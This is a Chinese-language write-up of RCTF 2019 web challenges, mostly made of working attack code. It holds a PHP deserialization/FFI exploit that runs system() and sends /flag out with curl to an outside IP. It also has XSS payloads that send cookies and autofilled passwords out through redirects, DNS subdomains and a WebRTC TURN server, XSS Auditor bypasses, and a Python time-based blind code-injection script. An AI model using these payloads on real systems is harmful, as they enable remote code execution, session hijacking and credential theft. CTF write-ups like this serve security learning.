2019 rctf writeup

  1. 解题思路

根据标题nextphp和php的版本为php7.4,从而判断出目标是利用了php7.4的某种新特性

  1. 解题过程

首先进行信息搜集

<?php
if (isset($_GET['a'])) {
        eval($_GET['a']);
} else {
        show_source(__FILE__);
}

查看phpinfo发现被disable了所有已知可以执行命令的函数

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

但是发现在编译PHP时开启了ffi并且ffi是enable的

'./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--with-ffi' '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-sodium' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-pear' '--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu'

但是为了安全php7.4中ffi不能直接使用,因此不能直接借助eval,但是发现当前目录存在preload.php

http://nextphp.2019.rctf.rois.io/?a=var_dump(scandir(%27./%27));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(11) "preload.php" }
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

看一下权限

http://nextphp.2019.rctf.rois.io/?a=var_dump(base_convert(fileperms(%27./%27),10,8));
string(5) "40755"

发现并不可写

利用ffi来引入libc中的system函数

var_dump(eval('FFI::cdef("int system(const char *command);", "libc.so.6")->system("ls");'));

但是反序列化中的run只有一个参数选项,后面发现system的执行不需要引入so文件

var_dump(eval('FFI::cdef("int system(const char *command);")->system("ls");'));

成功精简,从而构造如下exp

<?php
final class A implements Serializable {
	protected $data = [
		'ret' => null,
		'func' => 'FFI::cdef',
		'arg' => 'int system(const char *command);',
	];

	private function run() {
		$this->data['ret'] = $this->data['func']($this->data['arg']);
	}

	public function __serialize(): array{
		return $this->data;
	}

	public function __unserialize(array $data) {
		array_merge($this->data, $data);
		$this->run();
	}

	public function serialize(): string {
		return serialize($this->data);
	}

	public function unserialize($payload) {
		$this->data = unserialize($payload);
		$this->run();
	}

	public function __get($key) {
		return $this->data[$key];
	}

	// public function __set ($key, $value) {
	//     throw new \Exception('No implemented');
	// }

	// public function __construct () {
	//     throw new \Exception('No implemented');
	// }
}

$a = new A;
$ser = base64_encode(serialize($a));
var_dump($ser);

利用curl带外传输得到flag

http://nextphp.2019.rctf.rois.io/?a=$a=%27QzoxOiJBIjo5NTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czozMjoiaW50IHN5c3RlbShjb25zdCBjaGFyICpjb21tYW5kKTsiO319%27;$b=unserialize(base64_decode($a));$b-%3Eret-%3Esystem(%27curl%20-i%20http://47.90.204.28:2345/`cat%20/flag|base64`%27);

0x02 jail

思路很明确就是要让bot访问我们的链接然后交出cookie,因此就考虑怎么打cookie

首先看一下CSP

Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

如下payload可以在firefox上打到cookie,但是在chrome上是打不到cookie的

<img src=1 onerror="location.href='http://47.90.204.28:8080/?'+document.cookie">

根据提示flag在cookie里面,所以接下来让bot去打就好了,但是bot打不到,所以bot有可能是chrome写的。那么转换思路。

PS: CSP在跳转面前是苍白无力的

但是 document.location 被freeze了

但是发现host和hostname属性都是可以改的,而且可以达到一个跳转的效果。因此采用DNS来做带外传输。

<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
location.hostname=stringToHex(document.cookie).substr(0,60)+".bjslfd.ceye.io"</script>

最终通过分段读取获得flag

RCTF{welc0me_t0_the_chaos_w0r1}

此外还有第二种解法

之前我们注意到CSP中有个 connect-src ‘none’; 那么有没有办法bypass掉这一点呢,答案是肯定的

参考: https://github.com/w3c/webrtc-pc/issues/1727

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

修改上面提到的poc

sudo turnserver -L 172.16.47.44 -a -u zeroyu:123456 -v -f -r 106.14.114.127

<script>
function iceCallback(event) {}
config = {
	"iceServers": [{
		"urls": ["turn:47.90.204.28:8080"],
		"username": document.cookie,
		"credential": "zeroyu"
	}],
	"iceTransportPolicy": "all",
	"iceCandidatePoolSize": "0"
};
const offerOptions = {
	offerToReceiveAudio: 1
};
console.log(`Creating new PeerConnection with config=${JSON.stringify(config)}`);
// config是用来设置链接turn服务器使用的
pc = new RTCPeerConnection(config);
// onicecandidate 是收到 icecandidate 事件时调用的事件处理器.。当一个 RTCICECandidate 对象被添加时,这个事件被触发。
pc.onicecandidate = iceCallback;
pc.createOffer(
	offerOptions
).then(
	gotDescription,
	noDescription
);

function gotDescription(desc) {
	pc.setLocalDescription(desc);
}

function noDescription(error) {
	console.log('Error creating offer: ', error);
} 
</script>

这种方式在本地macOS上没有成功,随后可以在服务器上试一下

0x03 password

进一步要求使用利用xss打到对后台的密码,但是密码不是使用chrome的AutoSave,此处写payload1不要用chrome,一定要用firefox,不然什么都打不到(感觉可能是最新版的chrome限制了这种跳转,必须点击一下才能跳)

依据上面的思路还是先分段读源码

<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
setTimeout(function () {
   location.hostname=stringToHex(btoa(document.body.innerHTML)).substr(1800,60)+".bjslfd.ceye.io";
  }, 1000);
</script>

之后源码中会多出 data-cip-id 属性,从而判断是 ChromeIPass+Keepass ,那么之后就是定位+点击完成密码填充工作。

<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
setTimeout(function () {
  document.getElementsByName('username')[0].click();
  document.getElementsByClassName('cip-ui-menu-item')[1].click();
   location.hostname=stringToHex(btoa(document.getElementsByName('password')[0].value)).substr(0,60)+".bjslfd.ceye.io";
  }, 3000);
</script>

最终成功打到flag

cmN0ZntrcEh0dHBfbTR5X2xlYWtfdXJfcHdkfQ==

rctf{kpHttp_m4y_leak_ur_pwd}

0x04 rblog

XSS Bot is running on Windows Server 2008R2

Google Chrome is up to date

Version 74.0.3729.157 (Official Build) (64-bit)

首先查看CSP

content-security-policy: default-src 'self'; object-src 'none'

检测一下,可以看到提到JSONP可能会带来一些问题,而且题目也提示到了这一点

右键源码,发现rblog.js

https://rblog.2019.rctf.rois.io/rblog.js

axios.get('/api/v2/posts').then(resp => {
	let html = ''
	if (resp.data.status) {
		for (let i of resp.data.data) {
			html += `<a href="${i.markdown_url}">${i.title}</a>\r\n`
		}
	} else {
		html += `;_; ${resp.message}`
	}
	document.body.children[0].innerHTML = html
})

利用前面得到的jsonp tips测试一下

目标明确就是测这个接口的xss,但是由于这个 content-type: application/json 进行限制,所以不会解析标签的

神奇的是这里还存在v1版本的接口,看来以后要多试试。这次 content-type: text/html; charset=UTF-8 就可以解析了。

娜美接下来就是考虑常规的,通过这个接口来用XSS打到cookie

但是发现会被转义为<\/script>

所以接下里使用html编码来混淆一下paylaod

<iframe srcdoc=<script src=https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1);console.log></script>>
<iframe srcdoc=                                                                                                >

urlencode之后的paylaod

https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc%3D%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%23115%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23114%3B%26%2398%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2346%3B%26%2350%3B%26%2348%3B%26%2349%3B%26%2357%3B%26%2346%3B%26%23114%3B%26%2399%3B%26%23116%3B%26%23102%3B%26%2346%3B%26%23114%3B%26%23111%3B%26%23105%3B%26%23115%3B%26%2346%3B%26%23105%3B%26%23111%3B%26%2347%3B%26%2397%3B%26%23112%3B%26%23105%3B%26%2347%3B%26%23118%3B%26%2349%3B%26%2347%3B%26%23112%3B%26%23111%3B%26%23115%3B%26%23116%3B%26%23115%3B%26%2363%3B%26%2399%3B%26%2397%3B%26%23108%3B%26%23108%3B%26%2398%3B%26%2397%3B%26%2399%3B%26%23107%3B%26%2361%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B%26%2359%3B%26%2399%3B%26%23111%3B%26%23110%3B%26%23115%3B%26%23111%3B%26%23108%3B%26%23101%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%3E

成功触发弹窗

但是chrome上的XSS Auditor就会进行拦截

所以接下里就是对接口的fuzz,fuzz的目标如下:

https://rblog.2019.rctf.rois.io/api/v1/{fuzz_this_point}

最后没想到会是中文的标点,所以就利用。号去进一步混淆paylaod

最终使用如下payload1打到flag

https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc=%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%23115%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23114%3B%26%2398%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2346%3B%26%2350%3B%26%2348%3B%26%2349%3B%26%2357%3B%26%2346%3B%26%23114%3B%26%2399%3B%26%23116%3B%26%23102%3B%26%2346%3B%26%23114%3B%26%23111%3B%26%23105%3B%26%23115%3B%26%2346%3B%26%23105%3B%26%23111%3B%26%2347%3B%26%2397%3B%26%23112%3B%26%23105%3B%26%2347%3B%26%23118%3B%26%2349%3B%26%2347%3B%26%23112%3B%26%23111%3B%26%23115%3B%26%23116%3B%26%23115%3B%26%2363%3B%26%2399%3B%26%2397%3B%26%23108%3B%26%23108%3B%26%2398%3B%26%2397%3B%26%2399%3B%26%23107%3B%26%2361%3B%26%23112%3B%26%2397%3B%26%23114%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%26%23114%3B%26%23101%3B%26%23102%3B%26%2361%3B%26%2339%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%2352%3B%26%2355%3B%26%2346%3B%26%2357%3B%26%2348%3B%26%2346%3B%26%2350%3B%26%2348%3B%26%2352%3B%26%2346%3B%26%2350%3B%26%2356%3B%26%2358%3B%26%2350%3B%26%2350%3B%26%2351%3B%26%2351%3B%26%2347%3B%26%2339%3B%26%2343%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2359%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%3E

0x05 ez4cr

从源代码中看到一个

https://report-rblog.2019.rctf.rois.io/report.js

const $ = document.querySelector.bind(document);
$('button').onclick = function () {
  let flag = new URLSearchParams();
  flag.append('g-recaptcha-response', $('.g-recaptcha-response').value);
  flag.append('url', $('input[id=url]').value);
  axios.post('/report.php', flag).then(resp=>{
    alert(resp.data.status)
  })
}

从中找到一个接口

https://report-rblog.2019.rctf.rois.io/report.php

看到请求的响应中

content-type	
text/html; charset=UTF-8

所以使用jsonp的方式继续继续进行测试

发现如下测试有效

https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%3E

因此构造一个payload类似上题的paylaod在firefox成功弹窗

https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=https://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);console.log%3E%3C/script%3E

但是chrome依旧会被Xss Auditor拦截

所以需要对payload进行处理,使用fuzz进行处理,最后发现在CDN的助攻下可以直接打到

https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);console.log%3E%3C/script%3E

以上是非预期解,原因是payload在经过Cloudflare CDN处理之后对协议进行了upgrade从而导致bypass chrome xss audit

0x06 calcalcalc

看到题目计算器后端三种计算结果比较,了解到是拟态手段,那么就只能从时间差上下手。三种计算,将由最后一个决定结果是什么。

  1. bypass 字符长度限制

利用Nestjs + expressjs支持json的特性来传payload并将isVip设为true而不是’true’

  1. 时间盲注脚本

使用的payload

__import__('time').sleep(3) if ord(open('/flag').read()[3]) > 67 else

因为字符限制,所以我们混淆一下

eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(116)+chr(105)+chr(109)+chr(101)+chr(39)+chr(41)+chr(46)+chr(115)+chr(108)+chr(101)+chr(101)+chr(112)+chr(40)+chr(51)+chr(41)+chr(32)+chr(105)+chr(102)+chr(32)+chr(111)+chr(114)+chr(100)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(91)+chr(51)+chr(93)+chr(41)+chr(32)+chr(62)+chr(32)+chr(54)+chr(55)+chr(32)+chr(101)+chr(108)+chr(115)+chr(101)+chr(32)+chr(78)+chr(111)+chr(110)+chr(101))

之后使用脚本自动化去处理,脚本中的主要坑点是在处理json上,卡了好久。之后requests库原来可以自己计算延时时间,不需要time库了。

from requests import Session
import json

def encode_cmd(cmd):
    return 'eval(chr(' + ')+chr('.join(str(ord(c)) for c in cmd) + '))'

url = 'http://47.90.204.28:8082/calculate'
sess = Session()
sess.headers = {'Content-Type': 'application/json'}
calc_modal = {'expression': '1+1', 'isVip': True}
# print(json.dumps(calc_modal))  # json.dumps之后True就变true了
# print(sess.post(url, data=json.dumps(calc_modal)).elapsed.total_seconds())  # <2s
flag = ''
i = 0
while True:
    low, high = 0, 255
    while low <= high:
        mid = (low + high) // 2
        # print(hex(mid)[2:].zfill(2),end='\r')
        cmd = f"__import__('time').sleep(5) if ord(open('/flag').read()[{i}]) == {mid} else None"
        cmd_encoded = encode_cmd(cmd)
        calc_modal['expression'] = cmd_encoded
        elapsed = sess.post(url, data=json.dumps(calc_modal))
        # print(elapsed.text)
        elapsed = elapsed.elapsed.total_seconds()
        if elapsed > 4.5:
            break
        cmd = f"__import__('time').sleep(5) if ord(open('/flag').read()[{i}]) > {mid} else None"
        cmd_encoded = encode_cmd(cmd)
        calc_modal['expression'] = cmd_encoded
        elapsed = sess.post(url, data=json.dumps(calc_modal))
        # print(elapsed.text)
        elapsed = elapsed.elapsed.total_seconds()
        if elapsed > 4.5:
            low = mid + 1
        else:
            high = mid - 1
    print()
    flag += chr(mid)
    print(flag)
    if chr(mid) == '}':
        break
    i += 1

http://blog.leanote.com/post/xp0int/%5BWeb%5D-4

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章